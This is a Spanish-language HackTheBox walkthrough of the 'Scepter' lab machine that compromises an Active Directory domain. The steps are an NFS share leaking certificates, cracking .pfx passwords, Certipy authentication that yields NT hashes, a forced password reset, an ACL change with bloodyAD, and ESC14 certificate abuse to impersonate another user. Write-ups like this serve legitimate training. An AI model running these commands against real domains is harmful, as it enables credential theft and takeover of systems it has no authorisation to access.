Scepter – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Hard / Difícil
- Platform / Plataforma: HackTheBox
Sinopsis Link to heading
“Scepter” es una máquina de dificultad Difícil de la plataforma HackTheBox. Esta máquina enseña cómo usar archivos de certificados (.pfx) los cuales se filtran para autenticarnos ante un entorno Active Directory, movimiento lateral con Bloodhound, usar atributos mal configurados para abusar de ESC14 ante Active Directory Certificate Services (AD CS), volver usuarios vulnerables a esta escalada editando sus atributos y a performar ataques DCSync para comprometer el dominio.
User / Usuario Link to heading
Empezamos con un rápido escaneo con Nmap:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.65
Del escaneo encontramos múltiples puertos TCP abiertos: 53 DNS, 88 Kerberos, 111 y 2049 Network File System (NFS), 135 Microsoft RPC, 389 LDAP, 445 SMB, 5985 WinRM; entre otros. Dado que los servicios Kerberos y SMB están corriendo podemos intuir que estamos ante un entorno Active Directory (AD).
Aplicamos algunos escaneos de reconocimiento sobre estos puertos con la flag -sVC de Nmap:
❯ sudo nmap -sVC -p53,88,111,135,139,389,445,464,593,636,2049,3268,3269,5985,5986,9389,47001,49664,49665,49666,49667,49671,49686,49687,49688,49689,49702,49718,49732 10.10.11.65
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-24 11:57 -04
Nmap scan report for 10.10.11.65
Host is up (0.36s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-24 23:58:11Z)
111/tcp open rpcbind?
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-04-24T23:59:29+00:00; +8h00m03s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-24T23:59:30+00:00; +8h00m03s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
2049/tcp open mountd 1-3 (RPC #100005)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-04-24T23:59:29+00:00; +8h00m03s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-24T23:59:30+00:00; +8h00m02s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41
|_Not valid after: 2025-11-01T00:41:41
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2025-04-24T23:59:29+00:00; +8h00m03s from scanner time.
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49686/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49687/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
49718/tcp open msrpc Microsoft Windows RPC
49732/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 8h00m02s, deviation: 0s, median: 8h00m02s
| smb2-time:
| date: 2025-04-24T23:59:14
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 353.07 seconds
Para obtener más información acerca del dominio AD podemos utilizar la herramienta NetExec contra el servicio SMB de la máquina víctima:
❯ nxc smb 10.10.11.65
SMB 10.10.11.65 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
Encontramos el nombre de una máquina DC01 y un dominio scepter.htb.
Agregamos el nombre de la máquina víctima (DC01), el dominio (scepter.htb) y su FQDN (DC01.scepter.htb) junto con su dirección IP a nuestro archivo /etc/hosts:
❯ echo -e '10.10.11.65 DC01 DC01.scepter.htb scepter.htb' | sudo tee -a /etc/hosts
Una vez agregado, recordamos que el servicio NFS estaba corriendo. esto indica que puede haber una montura expuesta. Podemos revisar esto utilizando el comando showmount contra la máquina víctima:
❯ showmount -e DC01.scepter.htb
Export list for DC01.scepter.htb:
/helpdesk (everyone)
Vemos una montura llamada helpdesk.
Trataremos de montar aquel recurso en nuestra máquina de atacantes. Para ello primero creamos un directorio el cual guardará toda la data recibida:
❯ mkdir contentNFS
Dado que el nombre de la montura es /helpdesk, usamos el comando mount y montamos el recurso en nuestra máquina de atacante (esto requiere privilegios):
❯ sudo mount -t nfs 10.10.11.65:/helpdesk ./contentNFS -o nolock
Si tratamos de revisar el contenido extraído se nos deniega el acceso:
❯ cd contentNFS
cd: permission denied: contentNFS
Lo cual puede ser resuelto corriendo una shell como root en nuestra máquina de atacantes:
❯ sudo bash
┌──(root㉿kali)-[/home/gunzf0x/HTB/HTBMachines/Hard/Scepter/content]
└─# cd contentNFS/
┌──(root㉿kali)-[/home/gunzf0x/HTB/HTBMachines/Hard/Scepter/content/contentNFS]
└─# ls
baker.crt baker.key clark.pfx lewis.pfx scott.pfx
Tenemos múltiples archivos .pfx (certificados para Active Directory Certificate Services, o AD CS), un archivo .crt y otro archivo .key. Podemos extraer todo este contenido a nuestra máquina de atacantes usando sudo:
❯ sudo cp contentNFS/baker.crt contentNFS/baker.key contentNFS/clark.pfx contentNFS/lewis.pfx contentNFS/scott.pfx .
Extraído todo el contenido, no olvidemos desmontar la montura utilizando el comando umount:
❯ sudo umount ./contentNFS
Podemos cofirmar que los archivos han sido extraídos a nuestra máquina de atacante:
❯ ls -la
total 32
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Apr 24 12:31 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Apr 24 11:54 ..
-rwx------ 1 root root 2484 Apr 24 12:31 baker.crt
-rwx------ 1 root root 2029 Apr 24 12:31 baker.key
-rwx------ 1 root root 3315 Apr 24 12:31 clark.pfx
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Apr 24 12:21 contentNFS
-rwx------ 1 root root 3315 Apr 24 12:31 lewis.pfx
-rwx------ 1 root root 3315 Apr 24 12:31 scott.pfx
Cambiamos los permisos de los archivos copiados para poder leerlos más tarde:
❯ sudo chmod 777 *.pfx
❯ sudo chmod 777 baker.crt
❯ sudo chmod 777 baker.key
Si tratamos de autenticarnos utilizando los archivos .pfx con la herramienta Certipy (instalable con pip3 install certipy-ad) obtenemos un error:
❯ certipy auth -pfx scott.pfx -dc-ip 10.10.11.65 -username 'scott' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[-] Got error: Invalid password or PKCS12 data
[-] Use -debug to print a stacktrace
Tal parece ser que el archivo .pfx está protegido por contraseña.
Para extraer los hashes de las contraseñas protegiendo los archivos .pfx podemos usar la herramienta pfx2john. Obtenido ya los hashes podemos tratar de crackearlos a posteriori con JohnTheRipper (john) y tratar de romperlos a través de un Brute Force Password Cracking con esta herramienta:
❯ pfx2john clark.pfx > clark_pfx_hash
❯ john --wordlist=/usr/share/wordlists/rockyou.txt clark_pfx_hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
newpassword (clark.pfx)
1g 0:00:00:00 DONE (2025-04-24 13:12) 3.571g/s 18285p/s 18285c/s 18285C/s cheska..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
❯ pfx2john scott.pfx > scott_pfx_hash
❯ john --wordlist=/usr/share/wordlists/rockyou.txt scott_pfx_hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
newpassword (scott.pfx)
1g 0:00:00:00 DONE (2025-04-24 13:20) 3.703g/s 18962p/s 18962c/s 18962C/s cheska..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Todos los archivos .pfx están protegidos por la misma contraseña: newpassword.
Basados en The Hacker Recipes, para performar un ataque PassTheCert, podemos utilizar Certipy para “desproteger” (quitarle la contraseña) a estos archivos. Por ejemplo, para el archivo scott.pfx:
❯ certipy cert -export -pfx scott.pfx -password "newpassword" -out unprotected_scott.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing PFX to 'unprotected_scott.pfx'
Creamos una lista de potenciales usuarios basados en el nombre de los archivos .pfx hallados:
❯ echo -e 'Administrator\nbaker\nclark\nlewis\nscott' > potential_users.txt
❯ cat potential_users.txt
Administrator
baker
clark
lewis
scott
y revisamos con Kerbrute si estos usuarios existen:
❯ kerbrute userenum -d scepter.htb --dc 10.10.11.65 potential_users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 04/24/25 - Ronnie Flathers @ropnop
2025/04/24 13:33:10 > Using KDC(s):
2025/04/24 13:33:10 > 10.10.11.65:88
2025/04/24 13:33:11 > [+] VALID USERNAME: Administrator@scepter.htb
2025/04/24 13:33:11 > Done! Tested 5 usernames (1 valid) in 0.488 seconds
Sólo obtenemos, por el momento, que el usuario Administrator existe. Esto quiere decir, por ejemplo, que el archivo scott.pfx no es un archivo/certificado para un usuario que presuntamente se podría llamar scott.
No obstante, si usamos el archivo .pfx “desprotegido”, Certipy nos sugiere el nombre del usuario destinatario:
❯ certipy auth -pfx unprotected_scott.pfx -dc-ip 10.10.11.65 -username 'scott' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] The provided username does not match the identification found in the provided certificate: 'SCOTT' - 'o.scott'
Do you want to continue? (Y/n)
El cual también puede ser obtenido con grep sobre el archivo .pfx desprotegido:
❯ cat unprotected_scott.pfx | grep -a scott
&,dscepter10
0 *H UUsers10Uo.scott0"0
+7
o.scott@scepter.htb0K +7>0<:
Dado que los archivos clark.pfx, lewis.pfx y scott.pfx utilizan la misma contraseña (newpassword), podemos “desproteger” estos archivos .pfx en un simple oneliner de Bash:
❯ for user in scott lewis clark; do certipy cert -export -pfx ${user}.pfx -password "newpassword" -out unprotected_${user}.pfx; done
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing PFX to 'unprotected_scott.pfx'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing PFX to 'unprotected_lewis.pfx'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing PFX to 'unprotected_clark.pfx'
y usar los archivos .pfx para obtener los nombres de usuarios reales:
❯ for user in scott lewis clark; do strings unprotected_${user}.pfx | grep $user; done | tr -d '0K'
o.scott
o.scott@scepter.htb
e.lewis
e.lewis@scepter.htb
m.clark
m.clark@scepter.htb
Si nos tratamos de autenticar como cualquiera de estos usuarios hallados utilizando sus respectivos archivos .pfx ninguno de ellos funciona:
❯ certipy auth -pfx unprotected_scott.pfx -dc-ip 10.10.11.65 -username 'o.scott' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: o.scott@scepter.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
❯ certipy auth -pfx unprotected_lewis.pfx -dc-ip 10.10.11.65 -username 'e.lewis' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: e.lewis@scepter.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
❯ certipy auth -pfx unprotected_clark.pfx -dc-ip 10.10.11.65 -username 'm.clark' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: m.clark@scepter.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
Obtenemos el error: KDC_ERR_CLIENT_REVOKED. En corto, basados en la documentación de Microsoft esto podría deberse a que las cuentas “objetivo” pueden estar deshabilitadas, lockeadas o expiradas.
Si creamos una lista de potenciales usuarios actualizada y usamos Kerbrute, podemos ver que estos usuarios no existen en el dominio:
❯ echo -e 'Administrator\nbaker\nm.clark\ne.lewis\no.scott' > potential_users_updated.txt
❯ kerbrute userenum -d scepter.htb --dc 10.10.11.65 potential_users_updated.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 04/24/25 - Ronnie Flathers @ropnop
2025/04/24 13:41:52 > Using KDC(s):
2025/04/24 13:41:52 > 10.10.11.65:88
2025/04/24 13:41:52 > [+] VALID USERNAME: Administrator@scepter.htb
2025/04/24 13:41:52 > Done! Tested 5 usernames (1 valid) in 0.442 seconds
Por ende, lo único que nos queda son los archivos baker.crt y baker.key. Dado que todos los archivos .pfx estaban protegidos por la contraseña newpassword, usamos aquella contraseña para tratar de generar un nuevo archivo de certificado pfx usando OpenSSL:
❯ openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt
Enter pass phrase for baker.key: newpassword
Enter Export Password:
Verifying - Enter Export Password:
Donde, para las últimas 2 líneas, no hemos puesto contraseña alguna simplemente presionando ENTER.
Usamos este archivo para tratar de autenticarnos con Certipy:
❯ certipy auth -pfx baker.pfx -dc-ip 10.10.11.65 -username 'baker' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] The provided username does not match the identification found in the provided certificate: 'BAKER' - 'd.baker'
Do you want to continue? (Y/n)
Este archivo tiene como destinatario d.baker.
Usando Kerbrute, chequeamos que el usuario d.baker sí existe en el dominio:
❯ echo -e 'Administrator\nd.baker' > potential_users_updated_2.txt
❯ kerbrute userenum -d scepter.htb --dc 10.10.11.65 potential_users_updated_2.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 04/24/25 - Ronnie Flathers @ropnop
2025/04/24 13:58:53 > Using KDC(s):
2025/04/24 13:58:53 > 10.10.11.65:88
2025/04/24 13:58:53 > [+] VALID USERNAME: Administrator@scepter.htb
2025/04/24 13:58:53 > [+] VALID USERNAME: d.baker@scepter.htb
2025/04/24 13:58:53 > Done! Tested 2 usernames (2 valid) in 0.491 seconds
Por ende, ejecutamos Certipy para autenticarnos como el usuario d.baker:
❯ certipy auth -pfx baker.pfx -dc-ip 10.10.11.65 -username 'd.baker' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: d.baker@scepter.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Nuestro viejo amigo, el error KRB_AP_ERR_SKEW, está de vuelta.
Para evadir este problema usamos las herramientas faketime junto con ntpdate (instalables con sudo apt install faketime ntpdate -y) y repetimos el comando anterior:
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy auth -pfx baker.pfx -dc-ip 10.10.11.65 -username 'd.baker' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: d.baker@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce
Obtenemos un hash NT para el usuario d.baker.
Revisamos si este hash es correcto para este usuario usando NetExec:
❯ nxc smb 10.10.11.65 -u 'd.baker' -H '18b5fb0d99e7a475316213c15b6f22ce'
SMB 10.10.11.65 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce
Lo es.
Dado que tenemos credenciales válidas ante el dominio, podemos tratar de mapear el directorio AD utilizando la herramienta bloodhound-python (junto con faketime para evadir errores de tiempo/reloj):
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodhound-python -c ALL -u d.baker --hashes ':18b5fb0d99e7a475316213c15b6f22ce' -d scepter.htb -ns 10.10.11.65 -dc DC01.scepter.htb --zip
INFO: Found AD domain: scepter.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.scepter.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC01.scepter.htb
INFO: Found 11 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.scepter.htb
INFO: Done in 00M 52S
INFO: Compressing output into 20250424225850_bloodhound.zip
Esto nos genera un archivo .zip que contiene el mapeo del dominio.
Subimos el archivo generado .zip a Bloodhound (en mi caso uso la Community Edition, o CE) y buscamosp or el usuario d.baker. Luego de clickear sobre este usuario podemos ver, al lado derecho, la opción Outbound Object Control. Clickeando en ésta podemos ver:
Tenemos el permiso ForceChangePassword sobre un usuario llamado a.carter.
Podemos entonces cambiar la contraseña del usuario a.carter usando changepasswd.py de la suite de Impacket:
❯ impacket-changepasswd scepter.htb/a.carter@10.10.11.65 -newpass 'GunZf0x123!$' -altuser 'd.baker' -althash '18b5fb0d99e7a475316213c15b6f22ce' -no-pass -reset
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Setting the password of scepter.htb\a.carter as scepter.htb\d.baker
[*] Connecting to DCE/RPC as scepter.htb\d.baker
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
Hemos cambiado la contraseña del usuario a.carter a GunZf0x123!$.
a.carter a la original cada ~10 minutos.De vuelta a Bloodhound, podemos ver que el usuario a.carter es parte del grupo IT Support. Este grupo tiene permisos GenericAll sobre Staff Access Certificate Organizational Unit (OU). Al mismo tiempo, este OU contiene al usuario d.baker. Un camino resumido por Bloodhound es entonces:
Para darnos permisos FullControl (o GenericAll) sobre el OU llamado STAFF ACCESS CERTIFICATE podemos utilizar la herramienta bloodyAD (ver aquí para instalar). Damos así permisos GenericAll al usuario d.baker (del cual ya tenemos credenciales) usando las credenciales/contraseña cambiada de a.carter:
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -d scepter.htb -u a.carter -p 'GunZf0x123!$' --host dc01.scepter.htb --dc-ip 10.10.11.65 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" d.baker
[+] d.baker has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB
Dado que el nombre del OU era STAFF ACCESS CERTIFICATE, podríamos ahora tener acceso a algunos certificados de AD CS los cuales podrían ser abusados para escalar en el dominio. Para este propósito podemos utilizar Certipy:
❯ certipy find -username d.baker@sequel.htb -hashes ':18b5fb0d99e7a475316213c15b6f22ce' -dc-ip 10.10.11.65 -vulnerable -enabled -stdout
<SNIP>
CA Name : scepter-DC01-CA
DNS Name : dc01.scepter.htb
Certificate Subject : CN=scepter-DC01-CA, DC=scepter, DC=htb
<SNIP>
Template Name : StaffAccessCertificate
Display Name : StaffAccessCertificate
Certificate Authorities : scepter-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireEmail
SubjectRequireDnsAsCn
SubjectAltRequireEmail
Enrollment Flag : NoSecurityExtension
AutoEnrollment
Private Key Flag : 16842752
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 99 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : SCEPTER.HTB\staff
Object Control Permissions
Owner : SCEPTER.HTB\Enterprise Admins
Full Control Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
Write Owner Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
Write Dacl Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
Write Property Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
[!] Vulnerabilities
ESC9 : 'SCEPTER.HTB\\staff' can enroll and template has no security extension
Obtenemos que esta máquina es vulnerable a ESC9. No obstante, este es un falso positivo. PReviamente ya hemos abusado de ESC9 en la máquina Certified. Pero en este caso esta escalada no funciona.
Podemos también ver las flags SubjectAltRequireEmail y NoSecurityExtension para un template de certificado llamado StaffAccessCertificate con CA (Certification Authority) scepter-DC01-CA. Buscando un poco por los elementos vistos, encontramos este blog de SpecterOps hablando acerca de ‘ESC14’. Un método de ecalada/movimiento lateral la cual nos permite especificar un mapeo al atributo altSecurityIdentities. Para buscar por este atributo, podemos usar ldapsearch junto con las credenciales (cambiadas) del usuario a.carter, filtrando por la palabra altSecurityIdentities. Obtenemos así:
❯ ldapsearch -x -H ldap://10.10.11.65 -D 'a.carter@scepter.htb' -w 'GunZf0x123!$' -b "DC=scepter,DC=htb" | grep altSecurityIdentities
altSecurityIdentities: X509:<RFC822>h.brown@scepter.htb
Obtenemos el valor X509:<RFC822>h.brown@scepter.htb para el atributo altSecurityIdentities.
Leyendo el blog (lo cual recomiendo fuertemente para entender este ataque y no correr “comandos a ciegas”) y buscamos por RFC822, vemos que podemos abusar de ESC14 enfocándonos en un email:
The target has a weak X509RFC822 explicit mapping in altSecurityIdentities. The attacker can set the mail attribute on a victim principal to match the X509RFC822 mapping of the target. Then, the attacker can enroll a certificate as the victim and use this certificate to authenticate as the target.
En nuestro caso en específico, éste es claramente un email para el usuario h.brown; un usuario el cual existe en el dominio (el cual se puede ver en Bloodhound).
En corto, podemos definir el atributo email de nuestro usuario actual (d.baker, al cual le hemos dado GenericAll sobre el OU llamado Staff Access Certificate) para que coincida con el email en el valor X509:<RFC822> contenido en altSecurityIdentities, el cual era h.brown@scepter.htb. Podemos lograr esto usando bloodyAD:
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' --host 10.10.11.65 -d scepter.htb set object d.baker mail -v h.brown@scepter.htb
[+] d.baker's mail has been updated
Aquí, hemos cambiado el mail del usuario d.baker a h.brown@scepter.htb.
Siguiendo las instrucciones del blog, necesitamos solicitar un certificado usando el template StaffAccessCertificate como el usuario d.baker. We can use Certipy for this purpose using d.baker (who has its email updated):
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy req -u d.baker -hashes ':18b5fb0d99e7a475316213c15b6f22ce' -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' -dc-ip 10.10.11.65 -target dc01.scepter.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'd.baker.pfx'
Esto genera un archivo .pfx (certificado) el cual podemos usar para tratar de autenticarnos como el usuario h.brown.
En resumen:
- Nos damos privilegios
GenericAll, mediante el usuarioa.carter, al usuariod.bakersobre elOUllamadoStaff Access Certificate. - Teniendo permisos sobre el
OU, tenemos ahora la potestad de generar un certificado impersonando a otro usuario medianteESC14, dado que tenemos los “enrollments”SubjectRequireEmailyNoSecurityExtension. - Buscamos por un atributo
altSecurityIdentitiesel cual tiene un mailh.brown - Siendo
d.baker, nos cambiamos nuestro mail a aquel que coincide con el valor dealtSecurityIdentities(h.brown@scepter.htb) - Basados en el punto 2, solicitamos el template del certificado (llamado
StaffAccessCertificate) el cual tiene la flagSubjectRequireEmailque a su vez nos permitirá abusar deESC14y solicitar un certificado en nombre de otro usuario (el propietario del mail original, que en este caso seríah.brown).
Usamos Certipy para utilizar el archivo .pfx generado y autenticarnos como el usuario h.brown, obteniendo así su hash NT:
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -username 'h.brown' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate
[*] Using principal: h.brown@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
El cual también genera un archivo .ccache (ticket para Kerberos) para el usuario h.brown.
Aparentemente, este hash es correcto, pero retorna estado STATUS_ACCOUNT_RESTRICTION:
❯ nxc smb 10.10.11.65 -u 'h.brown' -H '4ecf5242092c6fb8c360a08069c75a0c'
SMB 10.10.11.65 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [-] scepter.htb\h.brown:4ecf5242092c6fb8c360a08069c75a0c STATUS_ACCOUNT_RESTRICTION
No obstante, también revisamos si el archivo .ccache (ticket) funciona para autenticarnos como el usuario h.brown:
❯ KRB5CCNAME=h.brown.ccache faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" nxc smb 10.10.11.65 -u 'h.brown' -k --use-kcache
SMB 10.10.11.65 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [+] SCEPTER.HTB\h.brown from ccache
Funciona.
Revisando nuevamente Bloodhound vemos que este usuario pertenece al grupo Remote Management Users. Esto significa que este usuario debería de ser capaz de ingresar a la máquian víctima a través del servicio WinRM service.
Para ser capaces de loguearse a través de WinRM con evil-winrm utilizando un ticket necesitamos editar el archivo /etc/krb5.conf. NetExec, desde su version 1.4.0 (la cual puede ser vista utilizando nxc --version; si no está actualizado podemos actualizarla con pipx ejecutando pipx upgrade netexec) tiene una opción --generate-krb5-file para el módulo SMB para generar fácilmente un archivo de configuración para Kerberos cuyo contenido debe ser pasado al archivo /etc/krb5.conf:
❯ nxc smb 10.10.11.65 -u '' -p '' --generate-krb5-file GENERATED_KRB5_CONF
